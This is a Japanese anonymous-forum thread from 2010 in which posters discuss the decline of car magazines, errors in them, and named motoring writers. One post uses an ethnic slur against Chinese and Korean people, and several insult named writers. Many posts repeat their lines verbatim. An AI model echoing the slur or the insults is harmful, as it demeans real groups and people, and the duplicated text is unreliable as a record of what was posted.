割とバカにならないと思うんですけど、利用者が減ればここも雇用が減りますね。
その他、サービスステーションや道路建設業なども。
若者が車を買わなくなった、と言われています。
実際には消費全体が全世代で落ち込んでいること、特に都市部での交通網の
発達などが原因だと言われていますが、「クルマ」にある種の夢とあこがれを
持っていた世代には、「別にクルマなんて必要ないし」という価値観そのものが、
異星人の考え方のようです。
とはいえ、大学生がクルマに乗って友達と遊びに行ったり、彼女とドライブデート
するのが当たり前、みたいに思われていた当時の新人類も、上の世代からは
「異星人」扱いされていたわけですが。
個人として乗りたいかどうかは別として、これから高齢化が進むと、ドライバーの
あり方も見直さないと行けなくなりますし、モータリゼーションを前提に構築されて
きた様々なインフラや雇用も、変化に直面することになります。
今は賑わっているかもしれませんが、たとえば地方のサービスエリアの雇用って、
割とバカにならないと思うんですけど、利用者が減ればここも雇用が減りますね。
その他、サービスステーションや道路建設業なども。
172 ：名無しさん＠そうだドライブへ行こう：2010/05/27(木) 12:18:40 ID:9HpEXv990
また、日本では車マンガは一大ジャンルです。
『サーキットの狼』から『よろしくメカドック』『シャコタン☆ブギ』『湾岸ミッドナイト』...etc
僕も『頭文字D』から、東京に価値を置かない地方の若者の在り方を論じたことが
あります（拙著『ケータイ小説的。』）。
これだけたくさんの車に関わる作品が生まれていることからもわかるように、
車は現代人の生活と大きく結びついています。大量消費・大量生産の生活様式は、
20世紀の初頭にフォード社が売り出したT型フォードから始まりました。
また、ニュータウンでの郊外型生活やショッピングモールも車社会の産物です。
自動車が産みだした社会のことは車社会化、モータリゼーションと呼ばれています。
車と社会の関わりは時代によって変化します。若者の車離れもそのひとつの要素。
当然、作品に登場する車の描かれ方も変化するでしょう。
いまは車は"憧れ""夢"ではなく、一般消費財になりつつあります。
この4月の『NAVI』の休刊などは、それを示しています。
『サーキットの狼』から『よろしくメカドック』『シャコタン☆ブギ』『湾岸ミッドナイト』...etc
僕も『頭文字D』から、東京に価値を置かない地方の若者の在り方を論じたことが
あります（拙著『ケータイ小説的。』）。
これだけたくさんの車に関わる作品が生まれていることからもわかるように、
車は現代人の生活と大きく結びついています。大量消費・大量生産の生活様式は、
20世紀の初頭にフォード社が売り出したT型フォードから始まりました。
また、ニュータウンでの郊外型生活やショッピングモールも車社会の産物です。
自動車が産みだした社会のことは車社会化、モータリゼーションと呼ばれています。
車と社会の関わりは時代によって変化します。若者の車離れもそのひとつの要素。
当然、作品に登場する車の描かれ方も変化するでしょう。
いまは車は"憧れ""夢"ではなく、一般消費財になりつつあります。
この4月の『NAVI』の休刊などは、それを示しています。
173 ：名無しさん＠そうだドライブへ行こう：2010/05/27(木) 12:27:10 ID:OJJp8doO0
マンガ「カウンタック」がキャプテン翼並みに引き伸ばしやったからね。
174 ：名無しさん＠そうだドライブへ行こう：2010/05/27(木) 21:41:30 ID:BCf4mgit0
カウンタックってイタリア語で「とがった頭」という意味なんだって。
175 ：懐疑派：2010/05/28(金) 18:04:43 ID:tbljAqpo0
クルマ好きにも二種類いる。
いわゆる、パツ金に柄物トレーナー、サンダル履きのＤＱＮ系。
いわゆる、真面目な評論家やメカマニアなどの正統派系。
前者は、「モビルスーツ」的感覚としてのそれを、後者は、よりメカニックなそれを愛する。
何だか、こうして言葉にすればあやふやな違いだ・・・。
両者に共通していえる特徴は、「人間的に未熟」という事。これに尽きると思う。
最近でこそ評論家などは、必死に社会派を気取ろうとするが、所詮は付け焼き刃。
「官能的なエンジンサウンド」。「吸いつくような足回り」。「意のままのハンドリング」・・・
こんなものの方が、交通死傷者や環境の問題よりもはるかに重要なのは明らかだ。
吸血産業たるメーカー。それに寄生する行政。さらにそこに寄生する病原菌的存在の彼ら。
彼らが仕事にあぶれれば、逆に庶民はそれだけ健康になり、社会はそのぶん安穏となった証拠だ。
車雑誌は残らず、「趣味系」の書棚の真ん中から、窓際コーナーへお引っ越し。
そして社会の真ん中から、すごすごと、うなだれて去っていく「クルマ好き」達の姿。
遠からずやって来るその日を、密かに、目を輝かせて待っている自分です。
いわゆる、パツ金に柄物トレーナー、サンダル履きのＤＱＮ系。
いわゆる、真面目な評論家やメカマニアなどの正統派系。
前者は、「モビルスーツ」的感覚としてのそれを、後者は、よりメカニックなそれを愛する。
何だか、こうして言葉にすればあやふやな違いだ・・・。
両者に共通していえる特徴は、「人間的に未熟」という事。これに尽きると思う。
最近でこそ評論家などは、必死に社会派を気取ろうとするが、所詮は付け焼き刃。
「官能的なエンジンサウンド」。「吸いつくような足回り」。「意のままのハンドリング」・・・
こんなものの方が、交通死傷者や環境の問題よりもはるかに重要なのは明らかだ。
吸血産業たるメーカー。それに寄生する行政。さらにそこに寄生する病原菌的存在の彼ら。
彼らが仕事にあぶれれば、逆に庶民はそれだけ健康になり、社会はそのぶん安穏となった証拠だ。
車雑誌は残らず、「趣味系」の書棚の真ん中から、窓際コーナーへお引っ越し。
そして社会の真ん中から、すごすごと、うなだれて去っていく「クルマ好き」達の姿。
遠からずやって来るその日を、密かに、目を輝かせて待っている自分です。
176 ：名無しさん＠そうだドライブへ行こう：2010/05/28(金) 19:42:16 ID:9X+Wsx8c0
>>175
何をカーボーイの編集長みたいな迷走文書き込んでるんだよ。
何をカーボーイの編集長みたいな迷走文書き込んでるんだよ。
177 ：名無しさん＠そうだドライブへ行こう：2010/05/28(金) 21:33:41 ID:H3HIpryB0
カートップがなにげに面白い。
178 ：名無しさん＠そうだドライブへ行こう：2010/05/28(金) 22:34:29 ID:LZnDN1zE0
ヤングオートを20年間愛読していますが何か
179 ：名無しさん＠そうだドライブへ行こう：2010/05/29(土) 14:50:15 ID:wcpFxRj90
ENGINEはファッションページを止めろというが 個人的には続けるべきだと思っている
何故なら車のコーティングに拘るくせに己の身なりはケミカルウォッシュのジーパンで過ごせる人間の
ロジックを変えようとしている点を評価するからだ
かといって編集長みたいになれとは…w
何故なら車のコーティングに拘るくせに己の身なりはケミカルウォッシュのジーパンで過ごせる人間の
ロジックを変えようとしている点を評価するからだ
かといって編集長みたいになれとは…w
180 ：名無しさん＠そうだドライブへ行こう：2010/05/29(土) 20:52:32 ID:H+unLl080
970 ：匿名希望さん：2010/05/28(金) 20:40:55
MAGエッ糞の上から目線ぶりが相変わらずでステキすぎるｗｗｗ
971 ：匿名希望さん：2010/05/28(金) 21:58:49
自動車に関係が無い
「記者クラブ」だとか「大マスコミ」だとかww
いかにも相手にされてないことに対する嫉妬丸出し（神×）
972 ：匿名希望さん：2010/05/29(土) 13:17:21
>>971
記者クラブが悪なのは分かるがお前とは全く関係ないだろってなｗｗｗ
MAGエッ糞の上から目線ぶりが相変わらずでステキすぎるｗｗｗ
971 ：匿名希望さん：2010/05/28(金) 21:58:49
自動車に関係が無い
「記者クラブ」だとか「大マスコミ」だとかww
いかにも相手にされてないことに対する嫉妬丸出し（神×）
972 ：匿名希望さん：2010/05/29(土) 13:17:21
>>971
記者クラブが悪なのは分かるがお前とは全く関係ないだろってなｗｗｗ
181 ：名無しさん＠そうだドライブへ行こう：2010/05/29(土) 21:58:31 ID:OziXORFs0
>>174
逆襲とか反撃とか速攻じゃね？
逆襲とか反撃とか速攻じゃね？
182 ：名無しさん＠そうだドライブへ行こう：2010/05/30(日) 00:28:03 ID:7CGceqDE0
>>174
Countachはピエモンテ州の方言で、クンタッシッという「驚き」を表す感動詞である。
ttp://ja.wikipedia.org/wiki/%E3%82%AB%E3%82%A6%E3%83%B3%E3%82%BF%E3%83%83%E3%82%AF
Countachはピエモンテ州の方言で、クンタッシッという「驚き」を表す感動詞である。
ttp://ja.wikipedia.org/wiki/%E3%82%AB%E3%82%A6%E3%83%B3%E3%82%BF%E3%83%83%E3%82%AF
183 ：名無しさん＠そうだドライブへ行こう：2010/05/30(日) 01:48:28 ID:A2uEUKvi0
スズキさん動画
www.youtube.com/watch?v=zI6Vvnxeo38
www.youtube.com/watch?v=zI6Vvnxeo38
184 ：名無しさん＠そうだドライブへ行こう：2010/05/30(日) 21:49:17 ID:DrMEVsMU0
カートップがまたバカな事やりやがった。 先月号と同じ記事を繰り返し載せやがった。
校正してないんだな、座右の車16回を二度。 誤植も酷いし。
この前のカーボーイといい、車雑誌はクズが関わってるな。
校正してないんだな、座右の車16回を二度。 誤植も酷いし。
この前のカーボーイといい、車雑誌はクズが関わってるな。
185 ：名無しさん＠そうだドライブへ行こう：2010/05/30(日) 22:30:13 ID:rGY2HNkT0
>>183
※頭頂部が眩しいのでサングラス必須ｗ
※頭頂部が眩しいのでサングラス必須ｗ
186 ：名無しさん＠そうだドライブへ行こう：2010/05/31(月) 12:28:30 ID:YEg2VfJo0
下請けシナチョン化の弊害か
187 ：名無しさん＠そうだドライブへ行こう：2010/06/01(火) 11:53:28 ID:JW29MGDW0
カートップは最近フェラーリ乗りのV6とV8の違いも判らないアホが記事書いてるな。
188 ：名無しさん＠そうだドライブへ行こう：2010/06/01(火) 16:51:39 ID:8XVDMO8r0
自動車雑誌ってそんなもんじゃない？
ベストカーも間違いだらけで気にしてるとキリが無いから、最近はスルーしてる。
ベストカーも間違いだらけで気にしてるとキリが無いから、最近はスルーしてる。
189 ：名無しさん＠そうだドライブへ行こう：2010/06/01(火) 18:36:08 ID:JW29MGDW0
>>188
そうやって甘やかすからスープラとマークⅡの区別もつかない雑誌がのさばるんだよ。
そうやって甘やかすからスープラとマークⅡの区別もつかない雑誌がのさばるんだよ。
190 ：名無しさん＠そうだドライブへ行こう：2010/06/01(火) 20:59:11 ID:hO8duE600
ヒュンダイとホンダは間違えても仕方ないだろ
191 ：名無しさん＠そうだドライブへ行こう：2010/06/01(火) 21:44:15 ID:fNjRcEqp0
この前に乗ったタクシー、カムリだと思っていたらハンドルにHと書いてあったので
そこで初めてグレンジャーだと気が付いたｗ
そこで初めてグレンジャーだと気が付いたｗ
192 ：名無しさん＠そうだドライブへ行こう：2010/06/01(火) 23:59:00 ID:0xd0W7+40
>>169
新装刊してもまったく売れてないｗ
新装刊してもまったく売れてないｗ
193 ：名無しさん＠そうだドライブへ行こう：2010/06/02(水) 23:35:49 ID:xZLSper00
MAGエッ糞の不倫ツートップのほうは、
しぶとく辞めないぜww
194 ：名無しさん＠そうだドライブへ行こう：2010/06/03(木) 01:50:27 ID:2r7WkCJv0
ｶﾀｶﾀｶﾀｯ ｶﾀｶﾀｶﾀｯ ｶﾀｶﾀｶﾀｯ ｶﾀｶﾀｶﾀｯ ｶﾀｶﾀｶﾀｯ
http://www.youtube.com/watch?v=3hcAmBkcbUo
欠陥プリウスの工場でプリウスに乗って自殺した人のアレなの？
アルファードの工場でプレスされた人のアレ？
若しくは、カローラの工場でプレスされた人のアレかな？
レクサスの欠陥ハンドル
欠陥トヨタ品質ってホラーだなｗｗｗ
NAVIで特集してくれない？
195 ：名無しさん＠そうだドライブへ行こう：2010/06/03(木) 22:11:11 ID:tJrQ/MH80
カーグラ・・・・NAVIみたいになってしまった
196 ：名無しさん＠そうだドライブへ行こう：2010/06/03(木) 23:05:55 ID:vaFuYk9N0
車業界はここまで酷いのか…
197 ：名無しさん＠そうだドライブへ行こう：2010/06/06(日) 10:23:56 ID:QoaEKnUJ0
いままでは月２回発行だったdiverもカードラに続き月刊かよ....
198 ：名無しさん＠そうだドライブへ行こう：2010/06/06(日) 12:29:18 ID:dWZUT2gq0
カーグラ廃刊まであと３６５日
199 ：名無しさん＠そうだドライブへ行こう：2010/06/06(日) 13:13:58 ID:/r7U0XNy0
急げヤマトよイスカンダルへ
カーグラ廃刊の日まであと365日、あと365日しか無いのだ！
カーグラ廃刊の日まであと365日、あと365日しか無いのだ！
200 ：名無しさん＠そうだドライブへ行こう：2010/06/06(日) 13:51:17 ID:ToG2pykl0
201 ：名無しさん＠そうだドライブへ行こう：2010/06/06(日) 16:07:48 ID:CqmDeIdV0
このスレ見てるだけで、ご飯３杯は食えます。
202 ：名無しさん＠そうだドライブへ行こう：2010/06/06(日) 21:57:46 ID:RWYEd8xl0
その3 誤植も酷いし。校正してないんだな
http://namidame.2ch.net/test/read.cgi/car/1257733373/l50
http://namidame.2ch.net/test/read.cgi/car/1257733373/l50
203 ：名無しさん＠そうだドライブへ行こう：2010/06/07(月) 08:46:49 ID:EQsJmtcK0
校正はその業界分かる人が1人くらいチェックせんと。
204 ：名無しさん＠そうだドライブへ行こう：2010/06/07(月) 19:32:38 ID:sKx6t3Fq0
ルボランで福野と清水和夫の新連載ﾊｼﾞﾏﾀ
205 ：名無しさん＠そうだドライブへ行こう：2010/06/09(水) 23:35:51 ID:aGIbG2Dy0
旬の過ぎたライターばかり集めてどうするつもり？
自殺行為じゃね？
自殺行為じゃね？
206 ：名無しさん＠そうだドライブへ行こう：2010/06/10(木) 00:26:23 ID:sSLdqDuH0
旬（笑） 旬だって（笑）
207 ：名無しさん＠そうだドライブへ行こう：2010/06/10(木) 02:17:45 ID:6hL0w9vX0
旬ってもしかしてまなぶとかじゃないよね？w
208 ：名無しさん＠そうだドライブへ行こう：2010/06/10(木) 04:32:41 ID:feN1HhHi0
小栗旬
209 ：名無しさん＠そうだドライブへ行こう：2010/06/11(金) 20:43:02 ID:tSmaRp+c0
広岡瞬
210 ：名無しさん＠そうだドライブへ行こう：2010/06/15(火) 17:51:47 ID:O64LeymI0
読者の大半をヘタレ扱いするカーボーイみたいな雑誌は消えるべきだな。
211 ：名無しさん＠そうだドライブへ行こう：2010/06/15(火) 18:42:03 ID:Z9mvEN9tP
212 ：名無しさん＠そうだドライブへ行こう：2010/06/16(水) 04:05:25 ID:b0QE61160
酷い雑誌だ。
213 ：名無しさん＠そうだドライブへ行こう：2010/06/16(水) 23:05:40 ID:LCYeGfLF0
214 ：名無しさん＠そうだドライブへ行こう：2010/06/20(日) 15:16:22 ID:ivXYBnRO0
しょせん内燃機関車。
215 ：名無しさん＠そうだドライブへ行こう：2010/06/20(日) 20:31:08 ID:hQ78/HAp0
driver月刊化に伴う劣化ぶりに吹いた。
これで値上げとは…
もうやる気なしだな
これで値上げとは…
もうやる気なしだな
216 ：名無しさん＠そうだドライブへ行こう：2010/06/21(月) 01:34:56 ID:Tl7Zp9M20
>>215
やはりサビ取り雑誌から甲賀連れてきてセルボとスズライトのレストア記事書かせないとｗ
やはりサビ取り雑誌から甲賀連れてきてセルボとスズライトのレストア記事書かせないとｗ
217 ：名無しさん＠そうだドライブへ行こう：2010/06/21(月) 03:16:08 ID:QsLozO1N0
>>215
まったく同感。
月刊になったら本の厚みも増えるかと思っていたら…
月２のときより薄っぺらく紙の質も落ちたような気がする。
肝心の企画内容は以前のキャリーオーバー。
もう時間の問題だと思う。
まったく同感。
月刊になったら本の厚みも増えるかと思っていたら…
月２のときより薄っぺらく紙の質も落ちたような気がする。
肝心の企画内容は以前のキャリーオーバー。
もう時間の問題だと思う。
218 ：名無しさん＠そうだドライブへ行こう：2010/06/21(月) 03:32:58 ID:cPp+CTTz0
NAVIのスズキが嫌いだった
219 ：名無しさん＠そうだドライブへ行こう：2010/06/21(月) 15:16:40 ID:ln/jRU/20
driver誌の清原嬢ってヤメタの？
220 ：名無しさん＠そうだドライブへ行こう：2010/06/21(月) 15:37:21 ID:68ukI+agO
月刊化に関連して清原嬢辞めたのかな？
221 ：名無しさん＠そうだドライブへ行こう：2010/06/21(月) 17:28:02 ID:vbBQzv3KO
油症の顔嫌だったから
それは許す
それは許す
222 ：名無しさん＠そうだドライブへ行こう：2010/06/21(月) 17:57:37 ID:FeAPlMLg0
NAVIの反逆児ことシオミは辞めさせられたんだな
223 ：名無しさん＠そうだドライブへ行こう：2010/06/21(月) 18:02:02 ID:jgYoFLi60
>>222
for sale て書かなきゃ再就職先もあっただろうに。
for sale て書かなきゃ再就職先もあっただろうに。
224 ：名無しさん＠そうだドライブへ行こう：2010/06/22(火) 09:29:26 ID:mzfBFDM70
塩がんばれ！
225 ：名無しさん＠そうだドライブへ行こう：2010/06/22(火) 12:05:26 ID:fetbPWOU0
頭下げてMoto NAVIに行くしかないｗ
226 ：名無しさん＠そうだドライブへ行こう：2010/06/22(火) 16:39:03 ID:OAkuoX2L0
>>223
それは言えてる。俺が採用担当者だったら塩見さんは絶対採用しない。
それは言えてる。俺が採用担当者だったら塩見さんは絶対採用しない。
227 ：名無しさん＠そうだドライブへ行こう：2010/06/22(火) 22:39:49 ID:sl/OoQ250
さあCARトップはどういう言い訳するかな？
228 ：名無しさん＠そうだドライブへ行こう：2010/06/22(火) 22:46:40 ID:D/PNa5mC0
最後まで残るのはどこ？
229 ：名無しさん＠そうだドライブへ行こう：2010/06/22(火) 23:41:10 ID:fetbPWOU0
Gワークス
230 ：名無しさん＠そうだドライブへ行こう：2010/06/23(水) 02:26:15 ID:YlsdMXWh0
driver誌の清原嬢は生き残って欲しい。社内配転でもいいけど。
月刊化最初の号には名前はあっても書いたものがなかった
月刊化最初の号には名前はあっても書いたものがなかった
231 ：名無しさん＠そうだドライブへ行こう：2010/06/23(水) 06:15:49 ID:Hxf7Zph90
>>230
甲賀とトレードでサビ取り雑誌へ移動ｷﾎﾞﾝｗ
甲賀とトレードでサビ取り雑誌へ移動ｷﾎﾞﾝｗ
232 ：名無しさん＠そうだドライブへ行こう：2010/06/23(水) 13:07:15 ID:qxysY6D20
233 ：名無しさん＠そうだドライブへ行こう：2010/06/23(水) 21:34:20 ID:LnL4EwgC0
NAVIの記者はなぜカタカナ表記なの？
もしかして日本人じゃないのかな
もしかして日本人じゃないのかな
234 ：名無しさん＠そうだドライブへ行こう：2010/06/24(木) 10:16:37 ID:IDidV2BU0
ちなみにシオミさんのTwitterのアイコンは未だにピンクのNAVIのままです
235 ：名無しさん＠そうだドライブへ行こう：2010/06/25(金) 12:40:51 ID:eDNkUHNH0
>>233
全員日本人だよ。蚊等意外は。
全員日本人だよ。蚊等意外は。
236 ：名無しさん＠そうだドライブへ行こう：2010/06/26(土) 01:18:00 ID:zhKMobgl0
クルマ趣味が人に言えない。
雑誌も半減するだろう。
雑誌も半減するだろう。
237 ：名無しさん＠そうだドライブへ行こう：2010/06/26(土) 09:50:50 ID:yLgtwQSl0
>>184
先月号を買ったかと思って驚いたなｗ
全く同じ記事が載ってんだからｗｗｗｗ
それとも旧車企画ページなんて適当にやっとけばいいやと
思ってるのかも。内容も毎回清水が「あの時代あこがれていた…」
って同じことしか書いてないしｗ
先月号を買ったかと思って驚いたなｗ
全く同じ記事が載ってんだからｗｗｗｗ
それとも旧車企画ページなんて適当にやっとけばいいやと
思ってるのかも。内容も毎回清水が「あの時代あこがれていた…」
って同じことしか書いてないしｗ
238 ：名無しさん＠そうだドライブへ行こう：2010/06/26(土) 12:52:09 ID:zhKMobgl0
八月号のENGINE誌 中味スカスカ。￥880とはぼったくり。
239 ：名無しさん＠そうだドライブへ行こう：2010/06/26(土) 15:44:08 ID:muL+qPOJ0
240 ：名無しさん＠そうだドライブへ行こう：2010/06/26(土) 18:17:32 ID:zhKMobgl0
241 ：名無しさん＠そうだドライブへ行こう：2010/06/26(土) 19:24:19 ID:gele6esV0
>>238
もうすぐスズキ偏酋長がチンで、職人サイトーが編集長になります。
もうすぐスズキ偏酋長がチンで、職人サイトーが編集長になります。
242 ：名無しさん＠そうだドライブへ行こう：2010/06/26(土) 21:22:08 ID:AY90YDpe0
>>238 近所のツタヤにもおいてなかった。
243 ：名無しさん＠そうだドライブへ行こう：2010/06/26(土) 22:16:16 ID:YhMDLT7E0
最後まで残る自動車雑誌は、月刊自家用車かもな。意外と。
244 ：名無しさん＠そうだドライブへ行こう：2010/06/26(土) 22:53:27 ID:zhKMobgl0
ENGINE誌の無残な衰退をみると
もはや自動車は趣味の対象ではないのか。
もはや自動車は趣味の対象ではないのか。
245 ：名無しさん＠そうだドライブへ行こう：2010/06/26(土) 23:44:07 ID:HF+xZnyK0
>>243
結局「1円でも安く」的なカタログ＋購入攻略法雑誌が残るんだろうな。
結局「1円でも安く」的なカタログ＋購入攻略法雑誌が残るんだろうな。
246 ：名無しさん＠そうだドライブへ行こう：2010/06/27(日) 11:18:12 ID:jYElWZBP0
責任編集 齋藤浩之
247 ：名無しさん＠そうだドライブへ行こう：2010/06/27(日) 15:15:37 ID:t4LGhk0i0
じゃあ次の候補はENGINEってことか?
248 ：名無しさん＠そうだドライブへ行こう：2010/06/27(日) 16:32:05 ID:VSRgKHYYO
249 ：名無しさん＠そうだドライブへ行こう：2010/06/27(日) 21:27:36 ID:od5Gjn0rO
>>243
いやいや、ザマイカー(笑)だろ(笑)
いやいや、ザマイカー(笑)だろ(笑)
250 ：名無しさん＠そうだドライブへ行こう：2010/06/27(日) 22:11:03 ID:VpfuDNAq0
雑貨ーじゃねーの？
251 ：名無しさん＠そうだドライブへ行こう：2010/06/28(月) 20:33:26 ID:Y/4rb5kh0
>>248
p97に載ってるよ。
p97に載ってるよ。
252 ：名無しさん＠そうだドライブへ行こう：2010/06/28(月) 21:09:02 ID:Y/4rb5kh0
NAVIを見終わったんだが、もう先は長くない。これは時計雑誌か？
253 ：252：2010/06/28(月) 21:11:17 ID:Y/4rb5kh0
NAVIじゃない。ENGINEね。
254 ：名無しさん＠そうだドライブへ行こう：2010/06/28(月) 21:44:22 ID:wjFmE8Kj0
創刊時のコンセプトは「車を中心とした生活情報紙。」
現在は「時計と服飾と鈴木ファッションショーを中心とし、たまに車も取り上げる広告紙。」
創刊当初から鈴木ナルシスト似非右翼は車雑誌とは一言も言っていない。
現在は「時計と服飾と鈴木ファッションショーを中心とし、たまに車も取り上げる広告紙。」
創刊当初から鈴木ナルシスト似非右翼は車雑誌とは一言も言っていない。
255 ：名無しさん＠そうだドライブへ行こう：2010/06/28(月) 21:57:16 ID:YRvVvK19P
ENGINEﾈﾀ何度目だよ
256 ：名無しさん＠そうだドライブへ行こう：2010/06/28(月) 23:31:30 ID:TCp/rnyG0
>>250
サビ取りｚ（ｒｙ
サビ取りｚ（ｒｙ
257 ：名無しさん＠そうだドライブへ行こう：2010/06/29(火) 09:52:22 ID:+0q1n2q10
マジでこのジャンルは次どこが飛んでもおかしくないでしょ。
258 ：名無しさん＠そうだドライブへ行こう：2010/06/29(火) 09:58:49 ID:WLJv+X4FO
自動車評論家は戦々恐々なんだろうなぁ
259 ：名無しさん＠そうだドライブへ行こう：2010/06/29(火) 10:18:40 ID:8cTy/5/a0
この先生き残る評論家
カバタ
サイトー
・
・
・
カバタ
サイトー
・
・
・
260 ：名無しさん＠そうだドライブへ行こう：2010/06/29(火) 11:13:53 ID:mQophTuj0
河口
島下
渡辺敏史
河村
清水和夫
清水草一
国沢
あくまでキノコりそうな基準で
選んでみた
文章の優劣とは関係ないのであしからず
島下
渡辺敏史
河村
清水和夫
清水草一
国沢
あくまでキノコりそうな基準で
選んでみた
文章の優劣とは関係ないのであしからず
261 ：名無しさん＠そうだドライブへ行こう：2010/06/29(火) 16:18:58 ID:5KHPXewm0
こうなってくるとコネの強いのが生き残るから
編集部OBとか親分肌の編集長の腰巾着みたいなほうが有利だろうね
というか車雑誌以外の媒体でライターできるスキル持った人っているんだろうか？
編集部OBとか親分肌の編集長の腰巾着みたいなほうが有利だろうね
というか車雑誌以外の媒体でライターできるスキル持った人っているんだろうか？
262 ：名無しさん＠そうだドライブへ行こう：2010/06/29(火) 17:17:57 ID:8cTy/5/a0
日下部を忘れてたｗ
263 ：名無しさん＠そうだドライブへ行こう：2010/06/29(火) 18:48:25 ID:dkvzRRDN0
>清水草一
Z34にV8が搭載してるとか、CARトップで誤掲載するコーナー持ってる奴だぞ。
さっさと消えていい。
Z34にV8が搭載してるとか、CARトップで誤掲載するコーナー持ってる奴だぞ。
さっさと消えていい。
264 ：名無しさん＠そうだドライブへ行こう：2010/06/29(火) 19:20:26 ID:WLJv+X4FO
ブックオフで100円で買った「そのフェラーリください！」は面白かった
265 ：名無しさん＠そうだドライブへ行こう：2010/06/29(火) 21:51:06 ID:h7MKdSfXO
車雑誌の広告代理店はこれからどうすれば良いですか？
266 ：名無しさん＠そうだドライブへ行こう：2010/06/29(火) 22:14:00 ID:IkWt6te60
>>265
そもそも広告自体がネットに取って代わられちゃってるしなぁ。
そもそも広告自体がネットに取って代わられちゃってるしなぁ。
267 ：名無しさん＠そうだドライブへ行こう：2010/06/29(火) 22:19:26 ID:atZXvA490
263は、人の批判する前に、V8が何を搭載しているのか語れ。
268 ：名無しさん＠そうだドライブへ行こう：2010/06/30(水) 02:05:59 ID:+UVY2j//0
>>267
素人ならいいが、車業界で食ってる奴が間違っていい訳ないだろがボケ！！
素人ならいいが、車業界で食ってる奴が間違っていい訳ないだろがボケ！！
269 ：名無しさん＠そうだドライブへ行こう：2010/06/30(水) 02:35:54 ID:ftuwIrDL0
>>267
どういうこと？
どういうこと？
270 ：名無しさん＠そうだドライブへ行こう：2010/06/30(水) 03:24:25 ID:VesrKEUJ0
271 ：名無しさん＠そうだドライブへ行こう：2010/06/30(水) 18:37:28 ID:e1h3KOSL0
クルマが趣味のやつ程、もうクルマ雑誌なんて買わなくね？
たまに書店で気になってる車種の情報があれば立ち読み。最も似たような面々が似たようなことを書いてるだけ。雑誌の名前見りゃ大体書いてる事は予想つく。
本当に必要な維持する上での要注意点とか費用の目安とかは、みんカラとかブログの方が情報あるし。
たまに書店で気になってる車種の情報があれば立ち読み。最も似たような面々が似たようなことを書いてるだけ。雑誌の名前見りゃ大体書いてる事は予想つく。
本当に必要な維持する上での要注意点とか費用の目安とかは、みんカラとかブログの方が情報あるし。
272 ：名無しさん＠そうだドライブへ行こう：2010/06/30(水) 20:57:36 ID:VesrKEUJ0
WEBは情報過多で、本当かどうか怪しげな情報も入ってるからな・・・
基本は「最後は詳しい誰かに聞いたりプロに頼む事」なんだが、WEBで
わかったフリしてる奴ほどディーラーとか言って
「だってみんカラでこう書いてあったんだ！」
とかゴネてるｗ
基本は「最後は詳しい誰かに聞いたりプロに頼む事」なんだが、WEBで
わかったフリしてる奴ほどディーラーとか言って
「だってみんカラでこう書いてあったんだ！」
とかゴネてるｗ
273 ：名無しさん＠そうだドライブへ行こう：2010/06/30(水) 23:14:39 ID:cYuWjPBI0
ENGINEは良し悪しは別として生き残りに努力の跡が見られるよね
サスガにもう少し車関係の記事を増やして欲しいが
サスガにもう少し車関係の記事を増やして欲しいが
274 ：名無しさん＠そうだドライブへ行こう：2010/06/30(水) 23:18:04 ID:L4/5Gs8C0
つーか、ネットにも情報が氾濫し受け取る側が比較検証できるようになって
これまで金科玉条のごとく信じてた雑誌の情報だって
実は頭の悪いライターが書く怪しいものがいっぱい混ざってた、てのが
バレちゃったことが問題なわけで。
これまで金科玉条のごとく信じてた雑誌の情報だって
実は頭の悪いライターが書く怪しいものがいっぱい混ざってた、てのが
バレちゃったことが問題なわけで。
275 ：名無しさん＠そうだドライブへ行こう：2010/07/01(木) 00:21:30 ID:sQI8t/LD0
ネットにも雑誌にもデタラメな情報が多いから過信するなってだけだ。
>金科玉条のごとく信じてた
誰が？あんただけじゃないの？
>金科玉条のごとく信じてた
誰が？あんただけじゃないの？
276 ：名無しさん＠そうだドライブへ行こう：2010/07/01(木) 01:41:29 ID:4V+YPv6a0
雑誌を真に受けて、次はＷＥＢを真に受けるｗ
読者の質がそのまま雑誌の質ってとこだな。
読者の質がそのまま雑誌の質ってとこだな。
277 ：名無しさん＠そうだドライブへ行こう：2010/07/01(木) 04:25:22 ID:Au37/Pk80
278 ：名無しさん＠そうだドライブへ行こう：2010/07/01(木) 23:46:06 ID:nKW0h4zS0
CARトップ、2号巻き込んだ誤植に全く触れてない。
先月号にあった「蝿がカタログに載ってる」記事から、間違いが誤魔化せればいいって体質だ。
本人登場のV8が日産のZに載ってるって事からも、車業界は汚らわしいクズが食いモンにするって証明したな。
先月号にあった「蝿がカタログに載ってる」記事から、間違いが誤魔化せればいいって体質だ。
本人登場のV8が日産のZに載ってるって事からも、車業界は汚らわしいクズが食いモンにするって証明したな。
279 ：名無しさん＠そうだドライブへ行こう：2010/07/02(金) 15:25:16 ID:V9Oo5zts0
車雑誌が全て亡くなってもみんなは困らないかもね。 車の趣味辞めればいいんだし。
280 ：名無しさん＠そうだドライブへ行こう：2010/07/02(金) 15:42:49 ID:/4u2pWcDO
車雑誌がなくなったからって車趣味やめるとか意味不明ww
281 ：名無しさん＠そうだドライブへ行こう：2010/07/02(金) 15:52:47 ID:fDsbNyUAP
カスタム雑誌は残って欲しい
2chやふたばでもぜんぜん語られてないし
画像付きじゃないとわからないジャンルだし
2chやふたばでもぜんぜん語られてないし
画像付きじゃないとわからないジャンルだし
282 ：名無しさん＠そうだドライブへ行こう：2010/07/02(金) 17:46:59 ID:V9Oo5zts0
283 ：名無しさん＠そうだドライブへ行こう：2010/07/02(金) 18:11:33 ID:RlqKwCWZ0
アホ雑誌はいらないよ
284 ：名無しさん＠そうだドライブへ行こう：2010/07/02(金) 18:48:02 ID:/4u2pWcDO
285 ：名無しさん＠そうだドライブへ行こう：2010/07/04(日) 16:39:30 ID:deFdhxuE0
内燃機関車趣味も
内燃機関車雑誌趣味も目糞鼻糞
内燃機関車雑誌趣味も目糞鼻糞
286 ：名無しさん＠そうだドライブへ行こう：2010/07/04(日) 19:12:07 ID:4grmuk5o0
家電専門誌は知らないが
家電ヲタは知っている
クルマもにたいような感じになるのかなあ
家電ヲタは知っている
クルマもにたいような感じになるのかなあ
287 ：名無しさん＠そうだドライブへ行こう：2010/07/06(火) 22:32:21 ID:H9KVDsuJ0
「マガジンX」のサイトにアクセスしたら、
いきなりJAVAが立ち上がって、 デスクトップに、hs_err_pid4008.logみたいなファイルが出来て、
それ以来、SVCHOSTがCPU使用率100%になってるんだけど、
ただの偶然？
そのsvchostを強制終了しようとすると、windowsが60秒以内に堕ちる。
セキュリティはMSのSEURITY ESSENTIALSだけ。
初歩的ミスも多いし、ろくに校正もやってないんだろｗ
いきなりJAVAが立ち上がって、 デスクトップに、hs_err_pid4008.logみたいなファイルが出来て、
